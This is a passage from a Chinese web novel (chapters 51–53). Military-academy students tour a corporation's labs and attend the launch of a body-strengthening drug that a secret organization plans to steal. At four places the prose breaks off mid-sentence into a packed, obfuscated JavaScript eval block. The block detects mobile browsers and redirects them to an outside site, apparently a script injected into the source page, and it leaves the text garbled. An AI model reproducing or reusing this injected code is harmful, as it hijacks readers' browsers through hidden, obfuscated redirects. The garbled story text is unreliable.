跟现实世界的百货街的区别，大概就在于这块街区要大得多。 三位本土居民倒没表现出无聊的样子，傅燃的表情看不出什么，但秦理和左虞衡不知道是因为什么，竟然还是一副兴致高昂的样子。 于是队形从原本的两个女孩挎着走，变成简初和傅燃两个人面无表情地跟在后头。 左虞衡：“你看那个东西，我们上军校之前是不是买过，现在居然还是这样！” 秦理：“你那个不行，看这个，听老板说更新三代了，这是最新款，是不是比以前帅多了！” 听着听着，简初就发现这两人可不像是念书时刚认识的。 “他们看起来好像认识很久了，是发小吗？”简初侧过头开口。 傅燃似乎没想到她会跟自己搭话，愣了愣开口问道：“什么是发小？” 简初：“……就是从小一起长大的意思。” “是的。”傅燃恍然点点头，言简意赅，“他们是发小。” “准确地说，我们那一片的孩子，都是发小……？”他看起来有些犹豫地补充道，“大概年纪差不多的有十来个人吧，不过后来因为上学的缘故，只有同岁之间的关系一直延续下来。” 简初：“……” 傅燃的表情有些复杂，但最后并没有再明确说什么。 他跟简初的关系远不如与其他两人亲近，所以有关秦理的事，并不应当由他来开口。 正在这时，几人的终端一齐响了，简初低头查看消息，发现被拉进一个临时的群组，方贺正在里面发集合通知。 “晚上八点，你看我就说他喜欢晚上开会吧。”秦理挑挑眉毛，趁机邀功。 “我们现在回去正好，吃完饭去开会。” …… 晚上八点，在156层尽头的会议室，坐了满满一屋子的人，听说方贺把自己的两个学生拉去做了一下午的苦工，对于这样舍己为人的行为，简初不禁致以崇高的敬意。 很快，几个老师和两个学生就抱着厚厚的材料进来了，简初定睛一看，冯聿也正满头大汗地跟在后头，看起来忙得不行。 “这是我们花了一个下午整合出来的资料，每人两本。”方贺喝了口水，声音干巴巴的，“来之前说了很多次了，我再强调一遍，保密保密保密，尤其在发布会之前，一个字儿都不许往外说。” 尽管对这次选来的学生都挺放心的，但他还是忍不住又强调了一遍。 简初接过两本册子，先是打量了一下外观。除了厚度不一样，两本册子的外形几乎没有区别，封面都是一片雪白，什么都没写。随意挑了一本翻开，迎面而来的图片给她吓了个激灵。 简初克制住自己猛然合上册子的欲望，伸手将翻开的封面压了又压。 谁能想到一翻就是某药剂的高清大图，她还没做好心理准备呢！ “两本册子，一个是斯塔集团的部分产业和研究项目的介绍，这个是比较详细具体的版本，严禁外传。大家都知道，集团每年会给优秀的军校生开出天价薪水，不过我个人还是建议以军部为第一选择，这两者完全不是一个概念，你们都懂我就不多说了。”方贺又喝了一口水，清了清嗓子。 简初揉揉额角，内心的小人疯狂呐喊：“我不懂我不懂啊，你给我仔细说说！” 但是看周围人都一副见怪不怪的表情，她不得不面无表情，视金钱如粪土般将这本册子压到下面。 “还有一本就是关于这次发布会的了，这次之所以让我们作战学院来，就是因为这个。”方贺说。 手快的同学早就翻开了册子，脸上不约而同露出震惊之色，简初特地抬头看了冯聿一眼，他确实是一副波澜不惊的样子。 “重头戏就是这个，强体药剂，是可以直接提升身体素质的东西，既然能开发布会，说明它至少经过了三轮测试，确认是有实际效果的。”方贺的表情也有些控制不住。 “具体效果会在发布会上公布，但不管效果好与不好，都已经是重大突破。” 万事开头难，从零到有确实常常是最艰难的一步。 作战学院的学生开始窃窃私语。 “我们能到现场来，也是学校大力争取的，一来是做个见证——斯塔集团已经决定将一毫升强体药剂作为模拟大赛的赞助奖品 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12594262|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，赠予获得优胜的同学。”方贺说到这，故意暂停了一下，果然学生们的讨论声迎来了一个小爆发，紧接着又慢慢歇下去。 “二来，正好用这个消息刺激一下你们。”方贺说着，自己都忍不住笑了一声，“自己亲眼看看，联邦各界对这个药剂的重视，学校能拿到这个赞助奖品有多不容易，省得一个个都给我在大赛摸鱼。” “精神控制学院的尖子生都在这呢，我看我们学院谁再给我懒懒散散，想着随便混个名次，到时候就眼睁睁看着他们把东西领走吧。” 简初满脑袋黑线，这话跟“不努力就等着隔壁班超过你们”有什么区别？ 所有老师都喜欢用激将法是吗？ 但架不住这招确实有效，学生们年轻气盛，加上前面挂了个诱惑力巨大的奖励，一个个眼神发亮，就差站起来宣誓了。 精神控制学院的学生们听着可不乐意，方贺话里的意思不就是作战学院没有努力准备才会输，这明晃晃地瞧不起他们的实力啊！ 他们并不想被隔壁学院的气势压下去，都不禁坐直了身体，可学生们眼神一转，就看见某个人正格格不入地窝在椅子里，一边翻着册子还一边打了个哈欠。 太过分了！这种时候怎么能让别人看轻了！ 简初懒洋洋地缩在高大的靠椅里，收获了来自精神饱满的同院学生们的眼刀数枚。 年轻真好啊，一哄一个准。 简初继续往后翻看着本次发布会涉及的其他产品，不得不说斯塔集团的研发能力还是很强的，毕竟钱多还舍得花，在许多行业都有不错的成果，但有关强体药剂的用词还是引起了简初的注意。 册子上写的并不是“研发”，而是“发现”，可以理解为这个药剂是在研究其他东西时，意外发现的成分？ 如果是这样的话，那么集团掌握的就是提取技术了，需要用到新设备吗？ 简初翻完了整本，在斯塔集团的成果清单里，并没有发现具有提取功能的新设备。 或许是密级太高，并不打算公开，不过既然他们舍得拿一部分出来赞助，就说明集团应当是掌握批量提取的技术的，否则不可再生的东西，怎么可能大手笔往外送。 照现在的情况，温弗拉应该已经知道药剂会出现在发布会上，那这次，会有多少人来呢？ “明天上午安排参观集团的实验室，咱们人分两组，都跟着去长长见识，不过他们要是想给你们开工资，记得先别答应啊。”方贺语重心长。 “还是那句话，军部永远是最优选，就算你想去集团就职，也别现在急着签意向书，你们都是香饽饽，现在开的，咳咳，都是最低价。” 说到最后，方贺的语速明显加快，囫囵一下就说完了。 “商人多精明啊，趁你们现在不清楚行情，花最少的钱把事办了，以你们的水平，将来年薪百万什么的根本不够看。”方贺说着，喝完了最后一口水。 简初原本还觉得方贺这人挺实诚，有话他是真说，但听到最后怎么感觉不太对劲。 他怎么看起来，好像在画一个更大的饼？ 51. 灯下黑（51） 等所有人自由分成两组，并安排好明天各自的路线，会议便正式结束。 互相道过晚安，简初终于回到自己的房间，行李还端端正正地摆放在原地，不过此刻她并没有收拾东西休息的打算。 整个房间里黑沉沉的，只有沙发旁边的落地灯开着，看起来还有几分温馨之意，简初整个人陷在沙发里，伸手摸索着被嵌在终端侧边凹槽的信物。 她一直挺好奇，温弗拉为什么要大费周章，给每个人都分发信物，不好保管不说，如果被人得知信物的存在，很容易在不小心的时候泄露身份。 虽说级别更高可以解锁其他的功能，究竟是什么样的功能，才值得冒着如此的风险。 发布会的消息已经放出去，一定有不少“相关人士”知道了药剂的下落，她应当联系一下无影，履行一点正式成员的“职责”。 “正在筛选特殊信道，请稍候……屏蔽监管中，请稍候……” 简初挑挑眉，这是她第一次见到这个提示框，不过很快，通讯就显示接通，耳机里传来无影的声音。 她这次没说好久不见。 “现在方便吗？有点事想问你。”简初谨慎开口。 “可以，你周围没有其他人就行，等等，这个信号坐标……你现在在哪？”无影的声音带着电流声传过来。 “我现在在米莱顿。”简初平静说道，主星和学院星的联络信道完全不一样，她早就预料到对方会发现她已经不在学院星。 “等等，米莱顿不是……你难道要参加那个发布会？”无影声音里的惊讶并不像假的，这让简初对温弗拉的了解更进一步。 他们并不能做到对所有成员的动向了如指掌。 “恭喜你回答正确，看来组织已经得到消息了，不过等到现在都没有联系我，可以理解为这次行动不需要我参与是吗？” 简初淡淡开口，似乎对此真的毫无兴趣：“先说好，我对你们的安排没有意见，只是想确定不会莫名其妙地被牵扯进去，上次那趟算我运气好，捡回一条命。” 无影语塞，因为这次的行动地点在主星，所以他根本没把简初考虑进来——从学院星溜过来的难度实在是太大了，但计划赶不上变化，没想到她竟然光明正大地打入了内部。 “我不知道你会到主星来，所以这次行动就没有算上你。”无影还是干巴巴解释了一句，“让我想想，你既然人已经在这边了，也许可以帮上点小忙。” “那还是别了吧。”简初吐槽。 “放心放心，这样的话计划会有一点小变化……等我一会，待会再联系。”无影说完，匆匆忙忙挂断了通讯。 “嘿，你又要去哪？” 无影匆忙往自家上级的位置跑去，跟一位同僚撞了个满怀。 “抱歉，我有急事要找路亚。”话音还没落下，人就跑了个没影。 无影在某扇门前停下脚步，稍稍整理了一下凌乱的衣襟，敲敲门，里头传来一个年轻但稳重的女声。 “进。” 无影小心翼翼推开门，探出脑袋，却在里头看见了路亚和……飓风。 他可真倒霉。 “有什么事吗？”路亚朝他眯了眯眼，无影跟了她许久，自然明白对方的意思，这是有外人在，有事之后再说。 “呃，就是关于这次行动的事，有一些细节想再确定一下，我待会再来吧。”无影眼神在两人身上转了转，演得颇为情真意切。 “不用了，我们也聊的差不多了，你们忙吧。” 飓风从沙发上起身，他身材高大，在沙发上留下一个缓慢回弹的大坑：“这次消息绝对都是共享的，行动就麻烦你们多多帮忙了。” “都是组织的工作，有什么帮不帮的。”面对飓风意有所指的话语，路亚面不改色，“那我就不送了。” 飓风作为温弗拉的行动人员，并不常出现在本部，这次来的原因很明确——因为上次他隐瞒了假药剂的消息，被路亚参了一本，这次特地来“求和”。毕竟路亚算是后勤辅助的半个头头，行动常常需要她安排协助，还是不要闹太僵为好。 “人走了，别看了。”路亚面无表情地看过来，“有事快说。” “是这样的，我们前段时间收编的成员，苍耳，就是上次参与行动的那个，她联系我说被安排了参加发布会，此刻人就在米莱顿。”无影迅速说明情况，“我想着这现成的资源，能给她安排点没那么危险的小工作，减轻行动人员的负担。” “你倒是还挺为飓风他们考虑。”路亚意味不明地开口，不过面对无影那张看着有些蠢兮兮的脸，只能无奈深吸了一口气，“苍耳可以作为我们后勤的接应灵活安排，暂时不需要分配具体任务，也不用告诉其他人。” “那，行动计划要告诉她吗？”无影有些拿不定主意。 “你的属下，问我？”路亚白了他一眼，“什么都不知道，怎么接应，我是让你对飓风他们保密！脑子呢！” …… 简初迅速洗了个战斗澡，出来没几分钟就接到了无影的回电，她平静地爬上床，将终端放在一边，然后戴上耳机闭上眼。 “苍耳，我给你讲一下行动计划，你好好听着，万一有什么突发情况需要你接应的。”通讯刚被接通，无影就迅速开口。 “请讲，我听着。”简初双手交叠，放在腹部，也多亏无影看不到这一幕，不然多少要有点怀疑人生。 “首先A计划，是在发布会开始前半个小时，提前下手偷走药剂，如果失败，就启用B计划，直接抢。” 一句话，让简初陷入沉默。 “就这？行动计划就这样？”她的声音出现微弱的颤抖。 “具体计划当然不是这样了，我们主要是负责切断电路，入侵监控信道这种，保证他们有足够的行动时间，并且随时为他们提供最新的情报和可选方案。” 简初顿时明白，自己原来是属于后勤人员，还是啥事都要干的那种。 “你负责接应，如果他们提前被发现，就需要你来接手药剂，把东西顺利带出来。”无影有些不确定地说道，“当然，应该是不会出意外的。” “谢谢，让我把东西带出来，你真是瞧得起我。”简初一开口就是无影熟悉的味道，跟路亚同一个配方，甚至阴阳怪气得更直白一些。 “如果需要你动手，我会给个信号，我想想，在发布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12663257|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会的喇叭里放首歌怎么样，这首舞曲我很喜欢，你听听。” 耳机里出现一段节奏强劲的音乐，让简初默然。 “听到这段音乐，就说明需要你的接应，你就找个机会偷偷戴上耳机，不需要开口，我会直接引导你行动。” 尽管简初没有得到此次行动的所有详细信息，但也能看出来，此次任务安排比上一次精细很多，居然还分了行动和后勤，这么看来，这次的药剂极有可能是真货。 …… 一夜无梦。 上午九点半，所有人都到达了斯塔集团在中央城区郊外的实验所。 集团在主星的不少地区都建设了实验所，但据他们对外公布的信息所说，这一处，是占地面积最大，也是研发能力最强的。 为了防止影响研究人员正常工作，学生们被分为两组，各自从整个参观流程的一头一尾开始。 斯塔集团给每组都安排了两名接待和解说人员——他们已经不是第一次接待来客了，全都驾轻就熟。 “这次参观的都是集团比较重要的研发项目，虽然核心的内容是不展示的，但也比外面公开的信息要详细不少。”接待员满面春风，“过程中不要使用录音录像设备，我们实验室都开启了电磁干扰，如果使用终端导致损坏概不负责哦。” 电梯里非常宽敞，十来个人走进去完全不拥挤，接待员按下十层的按钮，电梯厢非常轻微地震动了一下，简初敏锐地感受到电梯并不是在往上运行。 接待员笑眯眯的，并没有开口解释的意思，而是介绍起整座实验所的建造历史。 “为了保障研究资料安全，全部都用的最高级别的安防建材，像自然灾害、电磁风暴还有人为打击都是没有办法损害到内部结构的，当然异能者另当别论。” “不过实验所的安保力量也是非常强大的，全部都是集团高薪聘请的高级人才，能力十分强悍。” 简初似乎猜到对方下面要说什么了。 “像贵校的学生，如果毕业后想来集团就职，我们是非常欢迎的，给的薪资福利也绝对是最高水平的，放眼整个联邦，我敢说没有比我们待遇更好的。” 得亏这组大多是精神控制学院的学生，冯聿脸色倒还算平静，不过另一位作战学院的老师就没那么轻松了，他默默抬起手，把身边四五个作战学院的学生往后推了推。 接待员只当做没看到，他只是顺便做一下宣传，能不能“骗”到人对他的奖金没有影响，那是人事部该想的事情。 为了方便管理，冯聿带着学院所有学生待在这一组，剩下的空缺由作战学院填补。秦理本想跟简初一起，但因为被导师安排了照顾两个低年级的女孩子，只能被迫选择了另一组。 “所以你为什么到这一组来了。”简初侧过头，看向身边默不作声的傅燃。 “……”他面色平静地抬头，眼里闪过一丝疑惑。 “我们都在那一组的话，你不就落单了吗？” 他微微抬头，回忆起那两人严肃的表情和斩钉截铁的语气。 “大家都是朋友，有人落单的话会很伤心的！！！” 没记错的话，他们是这么说的。 52. 灯下黑（52） 简初对单独行动并不抗拒，不如说她其实挺享受做一个独行侠，她此前的岁月里，除了颜和以外，大多数朋友都只是匆匆过客，短暂来过又迅速离开。 从某种方面来说，秦理跟颜和真的很相似，这大概也是简初能够顺利接受他们的原因之一。 “就目前来说，生物义体的实际应用价值远高于机械义体，大多数人对于机械替代□□的治疗方式还是比较抗拒，在此前针对肢体残疾人员的问卷调查中，百分之八十三点二的受访者倾向于选择使用生物义体进行移植治疗，这有助于他们成为一个正常的普通人。”接待员朝里面指了指。 透过玻璃幕墙，能够看到有一只手臂正浸泡在荧光黄色的药水里，里头还咕嘟咕嘟冒着泡泡，手臂的断口处并不算平整，被药水泡得有些发胀发白。 旁边的病床上躺着一个患者，他表情有些紧张，右上臂的断口看起来恰好能和那条手臂对上。 研究人员正在围绕着他忙碌，预备移植的手臂比正常的要细瘦许多，毕竟上面没有什么肌肉。 “以现在的研究成果，可以使用患者自身的基因构建对应的器官进行移植，科学锻炼后完全可以达到正常水平，目前项目已经进入最后的测试阶段，不日将联合联邦研究所进行试点。” 这是简初听到的第三个“联合联邦研究所”的项目，看来集团和研究所的关系远比她想象的要亲密。 “斯塔集团是联邦研究所的重要赞助商。”傅燃轻声开口，见简初瞅了他一眼，又开口补充道，“我们学校的研究所，也是归联邦研究所管的，算是下属机构。” “我记得，前几天新闻有看到，斯塔集团宣布给军校研究所投三十亿来着。”简初摸摸下巴。 “没错，而且不出意外的话，给联邦研究所的至少是两倍。”傅燃点点头，面色平静地扔下一颗炸弹。 三个三十亿，那就是…… 简初抽抽嘴角，真不愧是财大气粗的集团，就为了请研究所配合演出戏，大手笔砸下去快一百亿。 她快对数字没有概念了。 简初所在的这组是从上往下走的，而且并不是每层楼都在参观的流程内，现在行程过半，按照计划，两组正好在位于“十五层”的公共食堂暂时汇合，用完午餐后继续下半场参观，直到下午四点结束整个流程。 电梯门一打开，简初就看到秦理昂着脑袋朝这边瞧过来。 “你们来了！过来坐！”她用力拍拍身边的椅子。 为了减少影响安排了错峰用餐，工作人员已经吃过饭离开，食堂里只剩下这群学生们。 “餐食都是提前预留的，大家请放心食用。”尽管并没有人询问，接待员还是强调了一下，要是被误以为用剩饭接待来宾，集团的面子往哪儿搁。 好几个身高只到简初腰部的，矮矮胖胖的机器人正在穿梭着送餐，外形看起来颇为眼熟，她在记忆里搜寻了好一会，才想起来是在哪见过。 她来到这个世界，杀死第一个异种之后，在街上遇到的巡逻机器人就长这样，这也是斯塔集团的产品？ 接待员注意到简初的视线，笑容满面地开口：“这是集团旗下生产线的产品。” 简初点点头，却见接待员依旧站在原地，用一种奇异的期待眼神注视着她。 “呃，那真是太厉害了。”她眨眨眼，棒读道。 “感谢认可。”接待员迅速接话，紧接着终于转过身，走到隔壁老师那桌坐下。 “我记得没错的话，这原来是康氏工业自主研发设计的生产线吧。”秦理收回目光，戳了戳面前烤得滋滋冒油的肉排。 “前两年因为爆出事故丑闻，被斯塔集团低价收购，去年康氏工业发了澄清公告，不过已经没什么人关心了。”看到简初好奇的视线，她又解释道。 短短一句话，简初已经从中闻到资本家心狠手辣的味道。 “这是他们惯用的手段，看中的东西不择手段。”傅燃眼神晦暗不明。 “斯塔集团的安保人员工资为什么高，就是因为总干一些见不得人的事啊！”左虞珩拍板总结，差点被隔壁的人听见，于是几人紧急调低谈话的音量。 简单一顿饭，让简初知道了不少有关斯塔集团的“秘辛”，就算饭菜不合口味，也能勉强接受了。 她突然很想念学校的小火锅，啊不，是麻辣烫。 所有人在原地休息了一会，便开始了下半程的参观。不知道是不是因为已经深入到地下，就算有源源不断的空气输送进来，简初还是觉得有些呼吸不畅，胸口好像压了一块石头，甚至有一些耳鸣，原以为过一会就会恢复，结果却有愈演愈烈的趋势。 她皱紧眉头，稍微靠近了傅燃，询问他的状态：“你有没有觉得不太舒服？” “没有。”傅燃摇摇头，“怎么了，需要休息吗？” “没什么，就是有点耳鸣。”简初说。 “这里的仪器设备比较多，你的精神力素质比我高，确实可能会对一些东西比较敏感。”傅燃猜测道。 “有可能。”简初一心二用，一边听着接待员侃侃而谈，一边悄悄观察其他人，大家的表情看起来都很严肃，但是不像是难受的样子。 越往下层，参观的项目听上去越厉害，看来他们这一组走得是正常的路线顺序。 “这里是最新型的精神力检测装置，不过目前还处在第一期测试当中，希望能为精神力紊乱综合征的研究，提供更加精细的检测，或许能发现此前遗漏的细节，找到治疗的方法。” 透过厚厚的防护玻璃，学生们可以看到里面的设备正在运行，不过裸露的错综复杂的线路，说明它还只是个半成品。 “下一层，也是我们本次参观的终点站，就是强体药剂所在的楼层。” 接待员说着，按下了三十二层的按钮，电梯上显示的总共有五十层，如果简单从项目重要性来考虑的话，所谓“跨时代”的药剂，在整个实验所并不是最受重视的。 简初突然很好奇，五十层是在研究些什么东西。 不过没等她细想，一阵前所未有的剧烈耳鸣突然朝她袭来，可电梯的运行和之前并没有区别，身体的不适来得毫无缘由。 她下意识掐住了自己的掌心，不希望被别人看出异样，忍着耳鸣带来的烦躁，简初微微垂下眼帘，看向脚下的电梯厢地板。 不安的源头来自下方，实验所的深处，藏着什么东西？ 地下三十二层的气氛有些不同寻常，实验室中心站立着一个满头白发但精神十足的小老头，他的面孔在很多地方出现过，正是斯塔集团 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12663258|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的现任掌权人，米勒尔·斯塔。 他身旁的年轻人似乎感受到注视，侧过头朝他们看了一眼。 尽管许久没有在军校露面，但伊森在学院内部影响力还是有的，见到他，几个学生已经瞪大眼睛窃窃私语了。 米勒尔也朝这边看了一眼，接着跟伊森说了两句话，年轻人便朝这边走来。 “你们终于来了，强体药剂马上就要被移送走，祖父听说你们还没有参观完，特地在这里等待。” “太客气了，米勒尔先生。”两位老师走上前，和米勒尔道谢，“影响到你们的工作安排，实在惭愧，强体药剂事关重大，还请不要在意我们，安全移送最重要。” 学生们沉默地跟在后面，他们并没有直接和对方交流的资格，说实话这两位老师能说上话都已经够呛。 简初看着米勒尔伸手放在胸前，行了一个有些别扭的绅士礼，紧接着露出轻松的笑意：“请不要担心，既然安排了参观，自然要好好完成，出尔反尔不是家族的作风。” 眼看两位老师又要说什么，他抢先做出安排：“不如你们继续讲解，里头的移送工作也同步进行，这样大家都方便。” 所有人和和气气地接受了这个方案，米勒尔带着人重新返回到里面，外面的学生们依旧隔着玻璃幕墙围观。 “前期的准备工作也很重要，包括做好检测，确认药剂完好——当然这只是必要的流程，这里监控严密，是不会出问题的。” “运送途中也许要用精密材料进行包裹，以防在途中受到意外损伤。” 接待员口若悬河，再次把集团的安保队伍吹得天上地下仅此一家。 简初默不作声地打量着，她的耳鸣似乎有所缓解，不过也有可能是已经习惯了，反倒能分出一些精力去思考其他的东西。 比如—— 如果她是温弗拉此次行动的决策者，在药剂移送途中下手，也许是一个好的选择。 她正这么想着，就看到实验室里面出现了十来个一模一样的包裹，各自由一个机器人抱在怀里，陆陆续续离开。 简初：“……” 行，当我没说。 “米勒尔先生！”突然有一个研究人员行色匆匆地跑进来，有些犹豫地看了眼周围的人。 “怎么了，到这边来说话。”米勒尔看到他，表情似乎变得有些奇怪，平静下隐含着激动，又混着一丝恐惧与敬畏。 总之非常复杂。 “下面有点情况，请您去看看。” 尽管他们已经走到远处的角落里，简初还是清晰听到了这句话，她眼神一转，其他人面色都很平静，看起来并没有听见。 正在这时，她的余光看到米勒尔再次行了一个绅士礼，可是这并不是需要行礼的场合，但等她转过去想看清楚一些，两人已经踏进了电梯。 “我们今天的参观活动就到这里了，接下来我将带领各位回到实验所大厅。”接待员面色轻松，透着即将下班的愉悦。 此时，米勒尔所乘坐的电梯显示抵达四十三层，但并没有要停下的意思。 “你现在感觉怎么样？”傅燃询问。 “啊？”简初后知后觉地摇摇脑袋，不知道什么时候，耳鸣已经完全消失了。 “已经恢复了。” 53. 灯下黑（53） 简初突然睁开了眼。 酒店的房间内黑漆漆的，她记得自己睡前并没有拉上窗帘，但此时伸手不见五指，连窗户在哪儿都看不到。 她举起自己的手，整个人还是躺着的状态，在黑暗中，周身却似乎有一圈宛如钻石般闪耀的光，动作间散发出模糊但绚丽的色彩。 “滴答滴答……” 不知道哪里一直传来水滴落的声音。 简初摸索着离开床铺，脑子里不知道在想些什么，竟然追寻着声音的方向走去，房间内原有的桌椅都消失了，没有任何东西阻碍她前行，直到她看见一面不甚清晰的镜子。 它悬浮在半空中，边缘像水流一样往周围荡漾，最下方不停地往下滴水，落下的水流汇聚成两滩银色的水迹，接着其中的“水滴”却往上空浮起，最终再次回到镜面上，荡起小小的涟漪。 简初在距离它两米的地方停下了脚步，人对于未知的事物总是警惕的，更何况周围的环境全然陌生。 这里是幻境吗？ 没有给她更多思考和探索的时间，“镜面”的水流声陡然加快，简初的目光紧紧锁定在上面，原本有些模糊的镜面逐渐变得清晰，下一秒，周围的一切如同粒子一般散开，消失不见。 简初骤然睁开了眼。 不算明亮的日光透过两扇窗帘的宽大缝隙，直直照了进来，把小餐桌上精致的水壶映得闪闪发亮。 简初茫然地抱着被子从床上坐起身，她刚刚好像做了个梦，可现在什么也不记得。 但这是很正常的现象，梦本身就是很容易被遗忘的事物。 按照往常她应当是被闹钟叫起的，不过此刻简初显然睡意全无，她抬手看了眼终端，刚过六点，有些早但距离闹钟也不到一个小时了。 斯塔集团的发布会安排在九点半，他们需要在八点半的时候入场，避免和九点的媒体撞上，引起不必要的麻烦。 简初走到落地窗边，俯视着朝阳下尚在沉睡的中心城区，在夜里能将天空都照亮的灯光此时熄灭了，看起来温柔而无害，却不知道有多少人在其中蠢蠢欲动。 温弗拉应该已经在做准备了，但除了他们，这次还会有其他人吗？ …… 在简初对面的房间里，同样有一个人清醒着，他甚至要醒得更早。 “这一次赶巧了，省得还要想办法把你安插进去。”傅燃靠坐在沙发上，耳机里是黎取的声音。 “这次怎么是你来？”傅燃垂着眼皮，随口问道。 “因为他们没有申请特战中心的介入保护，所以小布不适合参加行动，毕竟他明面上还是特战中心的人。”黎取解释道，“这次要比上一次更小心，不要暴露。老样子，电子遮罩待会送到你房间，应该跟早餐一起，正常接收就行。” “如果没有人动手，你就不要轻举妄动，这次温弗拉的安排很小心，咱们还没拿到具体的行动方案，防止他们搞假动作引蛇出洞。”黎取接着说道，“传达会长的意思，如果有人抢夺，顺水推舟，把药剂带回来。” “安排得挺好。”傅燃平静地回答，却让黎取起了一身鸡皮疙瘩。 “哥，我喊你哥成不，别这么说话，我害怕。”黎取求饶道，“尽力而为就好，其他人来更没指望。这个药剂的有效成分是从无人区带出来的，你知道是什么意思，效果九成九保真，如果让研究所和斯塔集团谈成了，后面就麻烦了，那群疯子，指不定要玩出什么花来。” 傅燃听着对面的人越说越激动，最后还狠狠啐了一口。 “总之，你在里面绝对不会引起怀疑，毕竟是集团亲自邀请来的，其他人不管是谁去，目标都太显眼了。”黎取最后强调，“总之，全程跟我保持联系，我会保证你的安全。” “我知道了。”傅燃回答道，紧接着门外响起了规律的敲门声。 早餐送到了。 …… “你真的不吃一点吗，味道挺好的。”左虞珩伸手招呼道，却被无情拒绝。 在发布会大会场对面的小厅里，斯塔集团准备了不少简餐和甜点，先不管有没有人会吃，但排场还是要有的，这就便宜了一些因为睡懒觉没来得及在酒店吃早餐的学生。 除了傅燃，其他三位都在觅食中。 “差不多了啊，赶快入场，找座位坐好。”方贺十分头疼，不知道是不是因为昨天太兴奋，不少学生今天早上起晚了，这会都在沉默地吃着小面包，他这么一催，才有人不情不愿地站起身。 “别吃了别吃了，实在不行拿两个面包快走，待会媒体都进来了。”方贺把那句“多丢人啊”咽回肚子里，这些小孩还在长身体的时候，不能这么不给面子…… 一群气质拔群的军校生穿着笔挺的制服，灯光下锃亮的金属纽扣还在闪耀着光辉，结果一个比一个吃得凶，不知道的以为学校克扣他们伙食呢。 “都给我住嘴！赶紧走！像猪崽似的丢不丢人啊！” 8：45。 所有学生都安稳地坐在了自己的位置上，简初挑了一个靠边的位置，方便进出。 她刚刚使用精神力扫了一遍发布会现场，但工作人员实在是太多了，如果不是特别明显的异常，大概很难被发现。 温弗拉的行动成员们也不知都隐藏在什么地方，在这种情况下，就算用精神力也看不出来什么。 9：05。 所有的媒体工作人员陆续入场，知名媒体占据了最中央拍摄效果最好的位置，剩下的小媒体也各自按照安排好的席位落座，就算学生们距离他们不算近，也能听见嗡嗡的说话声。 “听说这次联邦研究所也派人来参加发布会了，搞不好要宣布什么新合作呢！” “真的假的，不是说就是成果发布会吗？” “你还年轻，没有经验，这种场合多来几次就知道了，除了重头戏，不得有点搭配的小菜。” “像我们这些小媒体，想要有热度就得动脑子，从边边角角的地方挖点东西出来。” 叽叽喳喳的声音混在一起，把整个场地渲染得十分热闹。 9：17。 简初低头看了一眼时间，离发布会开始越来越近，但一切仍然在有条不紊地推进着，没有任何发生骚乱的迹象。 “我去个洗手间，如果老师问到帮我说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12664056|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声，很快就回来。”傅燃朝一旁的左虞衡说了一声，便轻手轻脚地离开了。 又过了一分钟，简初敏锐地察觉到，原本在四周维持秩序的安保突然变少了一些，不过并不明显。但就在她注意到的同时，又有几个安保人员离开了原来的岗位。 他们离开之前不约而同都摸了耳机，应该是收到了某个通知。 “秦理，趁这会还没开始，我先去一趟洗手间，马上回来啊！”她凑到秦理耳边，小声说道。 “早去早回。”秦理点点头，冲她做了个口型。 简初比了个手势，迅速弯着腰窜出了会场，脖子上特邀嘉宾的牌子让她畅通无阻。 就在她刚刚拐进洗手间的瞬间，精神力捕捉到几个光点突然开始飞速移动，紧接着，周围一圈光点开始跟着移动，但速度远远不及前者。 果然，有人动手了。 …… “该死的，这人是哪儿冒出来的，不是说特战中心没派人来吗？”一个身材高壮的男人从走廊飞掠而过，紧接着一道黑影紧随而来，在此处把守的安保还没来得及反应，人就不见了踪影。 “D19交叉口发现入侵者踪迹，往D17方向去，注意拦截！”安保人员一边紧急通知，一边赶紧追上，“确认为异能者，现场至少两名，请求特殊支援。” “无影，赶紧**给我们找条路，把后面那**甩开！”飓风不想跟对方过多纠缠，他很清楚自己此行的目的，东西已经到手，现在最重要的是把东西带回去。 